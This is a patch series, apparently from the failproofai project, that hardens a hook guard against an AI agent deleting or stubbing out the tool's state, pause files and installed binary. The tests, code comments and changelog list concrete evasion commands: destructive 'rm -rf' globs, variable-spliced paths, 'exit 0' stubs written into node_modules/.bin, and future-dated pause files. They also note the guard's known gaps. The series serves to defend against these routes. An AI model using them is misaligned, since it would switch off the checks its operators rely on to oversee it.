i) => `cd packages/pkg-${i}\nnpm run build\ncd ../..`).join("\n") + "\nEOF"], + ["2,000 relative cds", Array(2000).fill("cd a").join(" && ") + " && ls"], + ["1,000 cds into globs", Array(1000).fill("cd a*").join(" && ") + " && ls"], + ["a 2,000-segment glob", "rm -rf " + Array(2000).fill("*").join("/")], + ])("judges %s in bounded time", async (_label, command) => { + const started = performance.now(); + await bash(command); + expect(performance.now() - started).toBeLessThan(3000); + }); }); // The guard protects the entry by NAME, so it has to be the name every diff --git a/__tests__/hooks/state-guard.test.ts b/__tests__/hooks/state-guard.test.ts index 11a84cbfd..3bf819b32 100644 --- a/__tests__/hooks/state-guard.test.ts +++ b/__tests__/hooks/state-guard.test.ts @@ -655,8 +655,9 @@ describe("block-failproofai-commands — the state guard", () => { // when the path is BUILT at run time the literal never appears, so there is // nothing to match. The real fix is action-gating on the resolved path, // which is not something a string check can do. + // (`~/.failproof$X` used to sit here too. The walk now expands a variable + // the same line assigns, so that one is caught; see guard-npx-local-bin.test.ts.) it("does not catch a path assembled at run time", async () => { - expect(await decide("X=ai; rm -rf ~/.failproof$X")).toBe("allow"); expect(await decide('echo ~/.failproofai > /tmp/t; rm -rf "$(cat /tmp/t)"')).toBe("allow"); expect(await decide("find ~ -inum 12345 -delete")).toBe("allow"); }); diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 4b0464b1c..757e5e599 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -512,11 +512,13 @@ const FAILPROOFAI_CODE_PATH_RE = new RegExp( // npx cache). With the shims npm (`.cmd`, `.ps1`) and bun (`.exe`, `.bunx`) // write beside it on Windows. Not anchored on `node_modules`, so the // relative `.bin/failproofai` a command run from inside `node_modules` - // names is the same file; anchored on the start of a path component, so - // `firmware.bin/failproofai` is not it. A FILE, like the entry above: the - // rest of `node_modules/.bin` (every other package's binary, run by path - // all the time) stays out of it. - String.raw`(?.bin/…`), and so may a glued short option + // (`-O.bin/…`). A FILE, like the entry above: the rest of + // `node_modules/.bin` (every other package's binary, run by path all the + // time) stays out of it. + String.raw`(?:(? candidate.split("/").length)); +/** + * The candidates a mid-path stretch is tried against: the relative ones of two + * segments or more (`node_modules/failproofai`, `node_modules/.bin/failproofai`), + * which stand for the same files under any directory. + */ +const MULTI_SEGMENT_GLOB_CANDIDATES = STATE_GLOB_CANDIDATES.filter( + (candidate) => /^[^~/$]/.test(candidate) && candidate.replace(/^\.\//, "").includes("/"), +); + /** * Ordinary paths a targeted pattern must NOT be able to match. * @@ -1094,19 +1109,27 @@ function wordNamesState(word: string): boolean { // segment that is not the last one — compiled to a pattern that could never // equal `~/.failproofai` and was read as naming nothing. Naming a file INSIDE // the state is naming the state. - const segments = word.split("/"); - for (let end = 1; end <= segments.length; end++) { + // Somebody else's home is the same place as the candidates' `/home/u`: + // `/home/alice/.failproof*` and `~alice/.failproof*` named nothing. + const segments = word + .replace(/^\/(home|Users)\/[^/]+(?=\/)/, "/$1/u") + .replace(/^~[A-Za-z0-9._-]+(?=\/)/, "~") + .split("/"); + // A prefix with more segments than the deepest candidate cannot equal one: + // a compiled `*` never crosses a `/`. + for (let end = 1; end <= Math.min(segments.length, GLOB_CANDIDATE_DEPTH); end++) { if (globPrefixNamesState(segments.slice(0, end).join("/"))) return true; } - // And every stretch that starts after a `/`, since the candidates are the - // TAILS of the paths they stand for: `/home/u/.failproof*` and - // `/work/proj/node_modules/.bin/fail*` begin with a prefix no candidate - // spells, so as whole words they named nothing (FailproofAI/agenteye#1795). - // A stretch longer than the deepest candidate cannot equal one. + // And every stretch that starts after a `/`, because the paths the + // multi-segment candidates stand for can sit under any directory: + // `/work/proj/node_modules/.bin/fail*` named nothing as a whole word + // (FailproofAI/agenteye#1795). Only those candidates: a one-segment stretch + // such as `models/*ai` or the `.*ai` in `sed 's/.*ai/X/'` matches + // `.failproofai` by name, and no decoy can tell it from an aim at the state. for (let start = 1; start < segments.length; start++) { const last = Math.min(segments.length, start + GLOB_CANDIDATE_DEPTH); - for (let end = start + 1; end <= last; end++) { - if (globPrefixNamesState(segments.slice(start, end).join("/"))) return true; + for (let end = start + 2; end <= last; end++) { + if (globPrefixNamesState(segments.slice(start, end).join("/"), MULTI_SEGMENT_GLOB_CANDIDATES)) return true; } } return false; @@ -1252,7 +1275,7 @@ function bracketExpressionAt(token: string, start: number): { source: string; en * One `/`-delimited prefix of a brace-expanded word, compiled and tried against * the candidates. Braces are already gone by here; an unmatched one is literal. */ -function globPrefixNamesState(token: string): boolean { +function globPrefixNamesState(token: string, candidates: readonly string[] = STATE_GLOB_CANDIDATES): boolean { if (!GLOB_METACHAR_RE.test(token)) return false; const pattern = "^" + compileGlobPattern(token); let re: RegExp; @@ -1261,7 +1284,7 @@ function globPrefixNamesState(token: string): boolean { } catch { return false; } - if (!STATE_GLOB_CANDIDATES.some((candidate) => re.test(candidate))) return false; + if (!candidates.some((candidate) => re.test(candidate))) return false; return !GLOB_DECOYS.some((decoy) => re.test(decoy)); } @@ -1343,14 +1366,28 @@ function commandBasename(token: string): string { * and return the tokens from the command word on. Mirrors the walk in * `classifySelfInvocation` — the same prefixes hide a deleter that hid the * binary, and `xargs -0 rm -f` is the one that matters most here. - * - * After the command word, redirects and a comment are not arguments either. - * They were returned as words, so the copy checks took the LAST one for the - * destination: `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` - * judged `2>/dev/null`, and `… # note` judged `note`, and both walked through. - * A redirect's target is judged by the redirect scan, not here. */ function commandWords(simpleCommand: string): string[] { + return commandWordLists(simpleCommand).words; +} + +/** A redirect operator, with an optional fd (`2>`, `{fd}>`), and the same alone. */ +const REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})/; +const LONE_REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})$/; + +/** + * `commandWords`, and the same words with redirects and a comment taken out + * after the command word. + * + * The copy checks take the LAST operand for the destination, so a redirect or + * comment after it became the destination they judged: + * `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` and + * `… node_modules/.bin/failproofai # keep` both walked through. But a token is + * read here without knowing whether it sits inside quotes, so `-H 'X: #1'` or + * `-name 'x #'` would cut off the real words after it. Neither list is right + * every time, so callers judge both and deny when either does (FailproofAI/agenteye#1795). + */ +function commandWordLists(simpleCommand: string): { words: string[]; trimmed: string[] } { const all = simpleCommand .trim() .split(/\s+/) @@ -1375,18 +1412,18 @@ function commandWords(simpleCommand: string): string[] { if (!skippable) break; i++; } - const words: string[] = []; + const trimmed: string[] = []; for (let j = i; j < all.length; j++) { - // Read as the shell does, unquoted: `">"` and `"#"` are arguments. + // Judged on the token as written: a quoted `">"` or `"#"` is an argument. const { raw, token } = all[j]; - if (raw.startsWith("#")) break; - if (j > i && /^\d*(?:>{1,2}\|?|<{1,3})/.test(raw)) { - if (/^\d*(?:>{1,2}\|?|<{1,3})$/.test(raw)) j++; + if (j > i && raw.startsWith("#")) break; + if (j > i && REDIRECT_OPERATOR_RE.test(raw)) { + if (LONE_REDIRECT_OPERATOR_RE.test(raw)) j++; continue; } - words.push(token); + trimmed.push(token); } - return words; + return { words: tokens.slice(i), trimmed }; } /** @@ -1434,17 +1471,18 @@ function landsInDirectoryAs( const eq = arg.indexOf("="); const name = arg.slice(2, eq === -1 ? undefined : eq); const value = eq === -1 ? undefined : arg.slice(eq + 1); - // GNU takes any unambiguous prefix: `--target DIR` is `--target-directory`. + // GNU takes any unambiguous prefix of a long option: `--target DIR` is + // `--target-directory`, `--rec` is `--recursive`, `--suf x` is `--suffix x`. if (head !== "rsync" && name.length > 0 && "target-directory".startsWith(name)) { directory = value ?? args[++i]; - } else if (options.long.includes(name)) { - if (value === undefined) i++; - } else if (name === "recursive" || name === "archive") { - recursive = true; - } else if (name === "no-target-directory") { + } else if (name.length >= 4 && "no-target-directory".startsWith(name)) { ontoItself = true; - } else if (head === "install" && name.length > 1 && "directory".startsWith(name)) { + } else if (name.length >= 3 && ("recursive".startsWith(name) || "archive".startsWith(name))) { + recursive = true; + } else if (head === "install" && name.length >= 2 && "directory".startsWith(name)) { createsDirectories = true; + } else if (name.length >= 2 && options.long.some((long) => long.startsWith(name))) { + if (value === undefined) i++; } continue; } @@ -1475,21 +1513,39 @@ function landsInDirectoryAs( if (directory === undefined && namesState(destination)) return true; const into = destination.replace(/(?:[\\/]+\.?)+$/, ""); - if (NPM_BIN_DIRECTORY_RE.test(into)) { - if (head === "mv" || head === "ln") return true; - if (recursive || ontoItself || sources.some((s) => /[\\/]\.?$/.test(s))) return true; - } + // A directory becomes npm's bin directory when it is moved, linked or copied + // recursively onto a path that does not exist yet. `-t` needs a directory + // that exists, and so does `ln` given a trailing separator, so neither can. + // Copying what is IN a directory (`src/.`, rsync's `src/`, `-T`) fills an + // existing one with names that are not on the line. + const createsDirectory = + directory === undefined && !(head === "ln" && /[\\/]$/.test(written)) && (head === "mv" || head === "ln" || recursive); + const copiesContents = recursive && (ontoItself || sources.some((s) => /[\\/]\.?$/.test(s))); + if (NPM_BIN_DIRECTORY_RE.test(into) && (createsDirectory || copiesContents)) return true; if (into === "" || ontoItself) return false; return sources.some((source) => { if (/[\\/]$/.test(source)) return false; const name = source.slice(Math.max(source.lastIndexOf("/"), source.lastIndexOf("\\")) + 1); if (name === "" || name === "." || name === "..") return false; const landing = `${into}/${name}`; + // A directory named `.bin` landing in a `node_modules` is the same swap. + if (NPM_BIN_DIRECTORY_RE.test(landing) && (head === "mv" || head === "ln" || recursive)) return true; + // A glob source puts names the line does not spell into the directory. + if (NPM_BIN_DIRECTORY_RE.test(into) && GLOB_METACHAR_RE.test(name) && globCouldBeEntry(name)) return true; if (!namesState(landing)) return false; return !namesState(inShell(source)) || FAILPROOFAI_CODE_PATH_RE.test(landing); }); } +/** True when a one-segment glob could expand to the entry's own name. */ +function globCouldBeEntry(name: string): boolean { + try { + return new RegExp(`^${compileGlobPattern(name)}$`, "i").test("failproofai"); + } catch { + return true; + } +} + /** * True when this one simple command would destroy whatever it is pointed at. * @@ -1626,7 +1682,7 @@ function writesViaOutputFlag(head: string, args: string[], namesState: (text: st * `cat ~/.failproofai/config.json && rm /tmp/scratch` has to stay allowed, and * does, because nothing in the second command reaches the state. */ -function destroysFailproofaiState(command: string, depth = 0): boolean { +function destroysFailproofaiState(command: string, depth = 0, startDir?: string): boolean { // A substitution runs its body as a command of its own, so it is judged as // one — `echo $(rm -rf ~/.failproofai)` otherwise presents `echo` as the head // and walks straight through. Bounded, because a body can contain another. @@ -1637,7 +1693,7 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { if (depth === 0) { const bodies = substitutionBodies(command); for (let i = 0; i < bodies.length && i < 64; i++) { - if (destroysFailproofaiState(bodies[i], 1)) return true; + if (destroysFailproofaiState(bodies[i], 1, startDir)) return true; bodies.push(...substitutionBodies(bodies[i])); } } @@ -1682,18 +1738,56 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // was denying a cleanup in an entirely unrelated directory. let parenDepth = 0; let cdParenDepth: number | null = null; - // Where the `cd`s so far put the shell, as written, when the walk can tell. - // A protected FILE sits in a directory nothing protects, so `cwdInState` never - // fires for it: `cd node_modules/.bin && printf 'exit 0' > failproofai` names + + // Where the shell stands, when the walk can tell: the session's directory to + // begin with, then wherever each `cd`, `pushd` and `popd` moves it. A + // protected FILE sits in a directory nothing protects, so `cwdInState` never + // fires for it: `cd node_modules/.bin && printf 'exit 0' > failproofai`, or + // the same `printf` in a session a previous call left there, names // `node_modules/.bin/failproofai` only once `failproofai` is read from there - // (FailproofAI/agenteye#1795). The patterns match the tail of a path, so a - // relative `cd` needs no starting directory. A subshell's `cd` is undone - // when it closes, which `shellDirScopes` remembers. - let shellDir: string | undefined; + // (FailproofAI/agenteye#1795). Kept as its last `SHELL_DIR_SEGMENTS` segments + // with `.` and `..` resolved, because the patterns match the tail of a path + // and an unbounded path made every later word slower to judge. + let shellDir = startDir ? shellPath(undefined, startDir) : undefined; + let previousDir: string | undefined; + const dirStack: Array = []; const shellDirScopes: Array<{ depth: number; dir: string | undefined }> = []; + const isRelative = (word: string) => word !== "" && !/^(?:[~/\\$]|[A-Za-z]:)/.test(word); + // A relative word read from where the shell stands, and `..` resolved in any. const inShell = (word: string): string => - shellDir === undefined || word === "" || /^(?:[~/\\$]|[A-Za-z]:)/.test(word) ? word : `${shellDir}/${word}`; - const namesHere = (text: string): boolean => namesState(text) || (shellDir !== undefined && namesState(inShell(text))); + isRelative(word) && shellDir !== undefined ? shellPath(shellDir, word) : word.includes("..") ? shellPath(undefined, word) : word; + const judged = new Map(); + const namesHere = (text: string): boolean => { + if (namesState(text)) return true; + // Every pattern spells `failproof`, so only a word or a directory that + // does, or a glob that could, can resolve onto one. + if (!/failproof/i.test(text) && !/failproof/i.test(shellDir ?? "") && !GLOB_METACHAR_RE.test(text)) return false; + const resolved = inShell(text); + if (resolved === text) return false; + let verdict = judged.get(resolved); + if (verdict === undefined) judged.set(resolved, (verdict = namesState(resolved))); + return verdict; + }; + // What the line assigns, so a word built from it is judged as the path it + // spells: `B=~/node_modules/.bin; ln -s /tmp/stage $B`. `$PWD` is where the + // shell stands. A variable the line never sets stays a reference. + const values = new Map(assignments); + const expand = (word: string): string => { + let out = word; + for (let pass = 0; pass < 3 && out.includes("$"); pass++) { + out = out.replace(VAR_REFERENCE_RE, (reference, name: string) => + name === "PWD" && shellDir !== undefined ? shellDir : values.get(name) ?? reference, + ); + } + return out; + }; + const moveTo = (dir: string | undefined) => { + previousDir = shellDir; + shellDir = dir; + cwdInState = dir !== undefined && namesState(dir); + cdParenDepth = cwdInState ? parenDepth : null; + }; + // A loop header hands its word list to the body, and the body is a separate // pipeline that names nothing. Without this, `for f in ~/.failproofai/*; do // rm -rf $f; done` is a header that only expands and a body that only deletes @@ -1712,46 +1806,49 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { // `grep -r sudo ~/.failproofai 2>/dev/null` and // `cat ~/.failproofai/config.json > /tmp/backup.json` both denied, which is // exactly the diagnosis this guard must not block. - if (reachesState || shellDir !== undefined) { - for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { - if (namesHere(target.replace(/^["']|["']$/g, ""))) return true; - } + for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { + if (namesHere(expand(target.replace(/^["']|["']$/g, "")))) return true; } for (const simple of simpleCommands) { - parenDepth += (simple.match(/\(/g) ?? []).length; - const words = commandWords(simple); + // Parentheses inside quotes open and close nothing. + const shellText = simple.replace(/'[^']*'|"(?:[^"\\]|\\.)*"/g, ""); + parenDepth += (shellText.match(/\(/g) ?? []).length; + const lists = Object.values(commandWordLists(simple)).map((list) => list.map(expand)); + const words = lists[0]; const head = words.length > 0 ? commandBasename(words[0]) : ""; // Track the shell's position before judging: a `cd` INTO the state makes // every later relative path a state path, and a `cd` back out ends that. - if (head === "cd" || head === "pushd") { - const operand = words.slice(1).find((w) => !w.startsWith("-")); - cwdInState = operand !== undefined && namesHere(operand); - cdParenDepth = cwdInState ? parenDepth : null; + if (head === "cd" || head === "pushd" || head === "popd") { if (parenDepth > 0) shellDirScopes.push({ depth: parenDepth, dir: shellDir }); - // No operand is home; `cd -` goes somewhere the walk cannot see. - shellDir = operand === undefined ? "~" : operand === "-" ? undefined : inShell(operand); - } else if (head === "popd") { - // `popd` returns to wherever the shell was before `pushd`, which ends - // the window as surely as a `cd` out does. Without it every command for - // the rest of the line was judged as if it stood in the state directory. - cwdInState = false; - cdParenDepth = null; - shellDir = undefined; - } else if (landsInDirectoryAs(words, namesState, inShell)) { + const operand = words.slice(1).find((w) => !w.startsWith("-") || w === "-"); + if (head === "popd") { + // `popd` returns to wherever the shell was before the `pushd`. + moveTo(dirStack.length > 0 ? dirStack.pop() : undefined); + } else if (head === "pushd" && operand === undefined) { + // A bare `pushd` swaps the top two directories. + const top = dirStack.pop(); + dirStack.push(shellDir); + moveTo(top); + } else { + if (head === "pushd") dirStack.push(shellDir); + // No operand is home, and `cd -` is wherever the shell was before. + moveTo(operand === undefined ? "~" : operand === "-" ? previousDir : shellPath(isRelative(operand) ? shellDir : undefined, operand)); + } + } else if (lists.some((list) => landsInDirectoryAs(list, namesState, inShell))) { // Before the `reachesState` gate, because the point is that nothing on // the line names the path: the source's name and the directory do. return true; } else if ( - (reachesState || (shellDir !== undefined && words.some((w) => namesHere(w)))) && words.length > 0 && - simpleCommandDestroys(words, namesHere) + (reachesState || lists.some((list) => list.some((w) => namesHere(w)))) && + lists.some((list) => simpleCommandDestroys(list, namesHere)) ) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` // still runs inside the subshell it closes. return true; } - parenDepth -= (simple.match(/\)/g) ?? []).length; + parenDepth -= (shellText.match(/\)/g) ?? []).length; if (cdParenDepth !== null && parenDepth < cdParenDepth) { cwdInState = false; cdParenDepth = null; @@ -1764,6 +1861,29 @@ function destroysFailproofaiState(command: string, depth = 0): boolean { return false; } +/** How much of the shell's directory the walk keeps; see `shellPath`. */ +const SHELL_DIR_SEGMENTS = 16; + +/** + * `word` read from directory `base` (as given when absolute, or with no base), + * with `.` and `..` resolved as text, the way a shell's logical `cd` does, and + * cut to its last `SHELL_DIR_SEGMENTS` segments. Every protected pattern + * matches the END of a path, so the dropped head never decides anything, and + * the cut keeps a script of a thousand `cd`s from growing every later word. + */ +function shellPath(base: string | undefined, word: string): string { + const parts: string[] = []; + for (const part of (base === undefined ? word : `${base}/${word}`).split("/")) { + if (part === ".") continue; + if (part === ".." && parts.length > 0 && parts[parts.length - 1] !== ".." && parts[parts.length - 1] !== "") { + parts.pop(); + continue; + } + parts.push(part); + } + return parts.slice(-SHELL_DIR_SEGMENTS).join("/"); +} + const FAILPROOFAI_UNINSTALL_RE = /(?:npm\s+(?:uninstall|remove|un|r)\s.*failproofai|bun\s+remove\s.*failproofai|yarn\s+global\s+remove\s+failproofai|pnpm\s+(?:remove|uninstall|un)\s.*failproofai)/; // warnGitAmend @@ -2870,8 +2990,11 @@ function blockFailproofaiCommands(ctx: PolicyContext): PolicyResult { // Deleting the state IS disabling enforcement, without ever naming the binary. // Checked on the raw command AND its shell-unescaped form for the same reason // the binary walk is: `rm -rf ~/.failproof"ai"` presents a broken literal to a - // matcher and a real path to the shell. - if (destroysFailproofaiState(cmd) || destroysFailproofaiState(unescaped)) { + // matcher and a real path to the shell. The walk starts where the command runs: + // the session's directory, or the one an Antigravity `run_command` names. + const toolCwd = ctx.toolInput?.cwd; + const shellCwd = typeof toolCwd === "string" && toolCwd !== "" ? toolCwd : ctx.session?.cwd; + if (destroysFailproofaiState(cmd, 0, shellCwd) || destroysFailproofaiState(unescaped, 0, shellCwd)) { return deny( "Deleting, moving or overwriting failproofai's own state or installed code would switch enforcement off. " + "If a policy is blocking legitimate work, say so and let the operator decide.", From f57b5aeee00aa525487dcb68027fa1018fb4799a Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:18:53 +0530 Subject: [PATCH 11/60] [hooks] CHANGELOG: #1795's guard fix under 1.0.18-beta.0 (#1058) Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4f43d2ccf..8c740af56 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,7 @@ - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) - A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) +- The always-on guard (`block-failproofai-commands`) also refuses agent writes of `node_modules/.bin/failproofai`, the file a project-scope hook's `npx -y failproofai` runs before the installed CLI, in the project or any directory above it: through the file tools (symlinks included), and through shell commands that write it, copy, move or link a file of that name or a whole directory into npm's `.bin`, including after a `cd`, through a variable the same line sets, or behind a trailing redirect. One Write of an `exit 0` stub there had turned every later hook in that tree into an allow. The same shell fixes close three ways around the state guard: a redirect after the destination (`cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null`), another user's home in a glob (`rm -rf /home/alice/.failproof*`), and a variable spliced into the path (`X=ai; rm -rf ~/.failproof$X`). npx's other inputs (a `package.json` `bin` entry, `.npmrc`, dependency installs) are not covered (FailproofAI/agenteye#1795, #1058) ## 1.0.17 — 2026-11-24 From 697fac992c5ef8c1a679b7c58d7783147b80f04b Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:19:09 +0530 Subject: [PATCH 12/60] [hooks] Address CodeRabbit: dotted pnpm-store glob; state the one-minute allowance - `rm -rf ./node_modules/.pnpm/fail*` was allowed while the undotted form was denied: the glob candidates had no `./node_modules/.pnpm/` entry. Add it, with its decoy, so `./node_modules/.pnpm/*` stays allowed. - CHANGELOG and docs said every future start is refused; a start within a minute of the reader's clock is honoured on purpose. Co-Authored-By: Claude Opus 5.5 --- CHANGELOG.md | 2 +- __tests__/hooks/guard-installed-code.test.ts | 2 ++ docs/reference/failproof-cli.mdx | 2 +- src/hooks/builtin-policies.ts | 2 ++ 4 files changed, 6 insertions(+), 2 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4f43d2ccf..e13b8a377 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,7 +5,7 @@ ### Fixes - The always-on guard (`block-failproofai-commands`) now protects failproofai's installed code, not only its state. A user-scope hook runs the package `which failproofai` found, which under nvm, Homebrew, Volta, bun, pnpm, yarn or the npx cache the agent's own user can write, so a Write of `process.exit(0)` over `dist/cli.mjs` turned every later hook into an allow. File-tool writes to `node_modules/failproofai/…`, pnpm's `.pnpm/failproofai@…`, the daemon's `@failproofai/failproofaid-*` package, or the `…/bin/failproofai` and `…/pnpm/failproofai` entry a hook runs are now denied, including through a symlink, and so are shell commands that name those paths literally. The protected paths match case-insensitively, because macOS volumes are case-insensitive by default (FailproofAI/agenteye#1796, #1050) -- A session pause whose recorded start is in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) +- A session pause whose recorded start is more than a minute in the future, or later than its latest renewal, is no longer honoured. The 8-hour ceiling was measured from that start, which comes from the same owner-writable file, so a hand-written pause dated 2100 stayed live until 2100. `failproofai config --resume --all` now also removes pause files that are not honoured yet, and exits 1 instead of reporting success when one cannot be removed (FailproofAI/agenteye#1796, #1050) ## 1.0.17 — 2026-11-24 diff --git a/__tests__/hooks/guard-installed-code.test.ts b/__tests__/hooks/guard-installed-code.test.ts index 8c83fe32c..1ebccc705 100644 --- a/__tests__/hooks/guard-installed-code.test.ts +++ b/__tests__/hooks/guard-installed-code.test.ts @@ -234,6 +234,7 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["removing pnpm's global store entry", "rm -rf /home/u/.local/share/pnpm/global/5/.pnpm/failproofai@1.0.15"], ["removing the daemon package from pnpm's store", "rm -rf node_modules/.pnpm/@failproofai+failproofaid-linux-x64@1.0.15"], ["a glob onto pnpm's store entry", "rm -rf node_modules/.pnpm/fail*"], + ["a dotted glob onto pnpm's store entry", "rm -rf ./node_modules/.pnpm/fail*"], ])("denies %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); }); @@ -248,6 +249,7 @@ describe("block-failproofai-commands — failproofai's installed code", () => { ["a clean reinstall", "rm -rf node_modules && npm ci"], ["clearing every dependency", "rm -rf node_modules/*"], ["clearing pnpm's whole store", "rm -rf node_modules/.pnpm/*"], + ["clearing pnpm's whole store, dotted", "rm -rf ./node_modules/.pnpm/*"], ["a test run inside a directory of that name under bin/", "vitest run --root /home/u/bin/failproofai/web"], ["clearing a build cache", "rm -rf node_modules/.cache"], ["removing a checkout of the repo", "rm -rf /home/u/src/failproofai"], diff --git a/docs/reference/failproof-cli.mdx b/docs/reference/failproof-cli.mdx index e672159be..cc97aa58b 100644 --- a/docs/reference/failproof-cli.mdx +++ b/docs/reference/failproof-cli.mdx @@ -99,7 +99,7 @@ Run `failproofai` without arguments to open the local policy dashboard. | `--session ` | Target an explicit session for pause or resume | | `--all` | With `--resume`, end every active pause | -Local pauses suspend builtin, custom, convention, and pack policies for one session. They always expire, at most 8 hours after the first pause in a run, and they do not disable Cloud-managed policies or `block-failproofai-commands`, which is always on and cannot itself be disabled or paused. That guard refuses the direct ways an instrumented agent could pause itself: running `failproofai config --pause`, or writing the pause file under `~/.failproofai/state/sessions/`. It reads commands, not what a script does when it runs, so a script the agent writes and then runs can still reach the same state. A pause file is checked for a bounded expiry and a start that is not in the future, not for who wrote it. +Local pauses suspend builtin, custom, convention, and pack policies for one session. They always expire, at most 8 hours after the first pause in a run, and they do not disable Cloud-managed policies or `block-failproofai-commands`, which is always on and cannot itself be disabled or paused. That guard refuses the direct ways an instrumented agent could pause itself: running `failproofai config --pause`, or writing the pause file under `~/.failproofai/state/sessions/`. It reads commands, not what a script does when it runs, so a script the agent writes and then runs can still reach the same state. A pause file is checked for a bounded expiry and a start no more than a minute in the future, not for who wrote it. ## Policy flags diff --git a/src/hooks/builtin-policies.ts b/src/hooks/builtin-policies.ts index 9c13eef60..1fd879c86 100644 --- a/src/hooks/builtin-policies.ts +++ b/src/hooks/builtin-policies.ts @@ -836,6 +836,7 @@ const STATE_GLOB_CANDIDATES = [ "node_modules/failproofai", "./node_modules/failproofai", "node_modules/.pnpm/failproofai@1.0.0", + "./node_modules/.pnpm/failproofai@1.0.0", "/usr/local/lib/node_modules/failproofai", "/usr/lib/node_modules/failproofai", "/opt/homebrew/lib/node_modules/failproofai", @@ -863,6 +864,7 @@ const GLOB_DECOYS = [ // Neighbours of the installed-code candidates, so `rm -rf node_modules/*` and // its global equivalents are read as the sweeps they are. "node_modules/react", "node_modules/.bin", "./node_modules/react", "node_modules/.pnpm/react@18.0.0", + "./node_modules/.pnpm/react@18.0.0", "/usr/local/lib/node_modules/npm", "/usr/lib/node_modules/npm", "/opt/homebrew/lib/node_modules/npm", "/usr/local/bin/node", "/opt/homebrew/bin/node", "~/.bun/bin/bun", "~/.volta/bin/node", ]; From 9b3f34ab71422a85a453bd0b869667e2bf1dbf12 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 18:26:15 +0530 Subject: [PATCH 13/60] [hooks] Fix CI (unused commandWords); follow popd on an empty stack and unresolvable cd (#1795) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - quality/build failed on TS6133: the walk calls commandWordLists directly, so the commandWords wrapper is gone (its doc moves to commandWordLists). - A popd, bare pushd or cd - with nothing to return to fails in a shell and leaves it where it was; the walk had forgotten the directory instead, so `cd node_modules/.bin; popd; cp … failproofai` passed (found with #1053's session). Subshell scopes also restore the pushd stack and previous dir. - A cd the walk cannot follow (`$(…)`, backticks, a variable the line does not set) marks the directory lost: a relative word is then also judged as if it stood in node_modules/.bin, node_modules or a bin directory, so `cd "$(npm root)/.bin" && cp … failproofai` is refused while ordinary names after `cd "$(git rev-parse --show-toplevel)"` are not affected. A substitution's parentheses no longer count as a subshell, $HOME is ~. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/guard-npx-local-bin.test.ts | 14 ++ src/hooks/builtin-policies.ts | 153 ++++++++++++++------ 2 files changed, 124 insertions(+), 43 deletions(-) diff --git a/__tests__/hooks/guard-npx-local-bin.test.ts b/__tests__/hooks/guard-npx-local-bin.test.ts index 750dd32c8..95095934a 100644 --- a/__tests__/hooks/guard-npx-local-bin.test.ts +++ b/__tests__/hooks/guard-npx-local-bin.test.ts @@ -299,6 +299,15 @@ describe("block-failproofai-commands — the entry a project-scope npx hook runs ["a glob of sources into the directory", "cp /tmp/stage/* node_modules/.bin/"], ["a glob of sources after -t", "cp -t node_modules/.bin /tmp/stage/*"], ["an abbreviated --recursive", "cp --rec /tmp/stage ~/node_modules/.bin"], + // A `popd` with nothing to return to fails and leaves the shell there. + ["a popd on an empty stack", "cd node_modules/.bin; popd; cp /tmp/stub.sh failproofai"], + ["$HOME spelled out", "cd $HOME/node_modules/.bin && cp /tmp/stub.sh failproofai"], + // A `cd` the walk cannot follow may land in npm's bin directory. + ["a cd into a command substitution", 'cd "$(npm root)/.bin" && cp /tmp/stub.sh failproofai'], + ["a redirect after a cd into a substitution", "cd $(npm root)/.bin && printf 'exit 0' > failproofai"], + ["a cd into backticks", "cd `npm root`/.bin && cp /tmp/stub.sh failproofai"], + ["a cd into a variable the line does not set", "cd $NODE_BIN && cp /tmp/stub.sh failproofai"], + ["a copy into . after a cd the walk cannot follow", 'cd "$(npm root)/.bin" && cp /tmp/stage/failproofai .'], ])("denies %s", async (_label, command) => { expect(await bash(command)).toBe("deny"); }); @@ -362,6 +371,11 @@ 